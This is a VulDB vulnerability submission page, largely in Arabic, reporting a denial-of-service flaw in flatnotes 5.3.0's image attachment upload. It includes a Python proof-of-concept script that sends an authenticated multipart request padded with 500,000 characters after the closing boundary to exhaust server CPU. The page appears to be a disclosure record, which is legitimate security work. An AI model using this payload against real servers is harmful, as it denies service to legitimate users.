| عنوان | github dullage 5.3.0 Improper Input Validation |
|---|
| الوصف | Anyone who can log in to flatnotes and upload images through the function can cause DOS , which can prevent others from using it, other API interfaces from being accessed, and server DOS attacks.
Attackers can send the following two POCs, causing the victim's server to be occupied by CPU resources for a long time, unable to process requests from other normal users, thus causing harm to DOS.
```
import requests
url = "http://192.168.137.11:8080/api/attachments"
headers = {
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNzMzMzg1NzA4fQ.GI9swgQd0pDSP0q4mgLc-pMV94xl4KE5_jJNenZChmc",
"Accept-Language": "zh-CN,zh;q=0.9",
"Accept": "application/json, text/plain, */*",
"Content-Type": "multipart/form-data",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
"Origin": "http://192.168.137.11:8080",
"Referer": "http://192.168.137.11:8080/new",
"Accept-Encoding": "gzip, deflate, br",
"Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNzMzMzg1NzA4fQ.GI9swgQd0pDSP0q4mgLc-pMV94xl4KE5_jJNenZChmc",
"Connection": "keep-alive"
}
data = (
"------WebKitFormBoundaryN20AMdlOKTaspeAy\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"sword.png\"\r\n"
"Content-Type: image/png\r\n\r\n" + file_content+ "\r\n"
"------WebKitFormBoundaryN20AMdlOKTaspeAy--"+"0123456789"*50000+"\r\n"
)
response = requests.post(url, headers=headers, data=data)
```
|
|---|
| المصدر | ⚠️ https://github.com/Startr4ck/CVE_lists/blob/main/flatnotes/flatnotes%20webserver%20dos.md |
|---|
| المستخدم | startr4ck (UID 76213) |
|---|
| ارسال | 12/12/2024 08:14 AM (2 سنوات منذ) |
|---|
| الاعتدال | 16/12/2024 09:57 AM (4 days later) |
|---|
| الحالة | مكرر |
|---|
| إدخال VulDB | 286650 [Kludex python-multipart حتى 0.0.17 على Python Line Break الحرمان من الخدمة] |
|---|
| النقاط | 0 |
|---|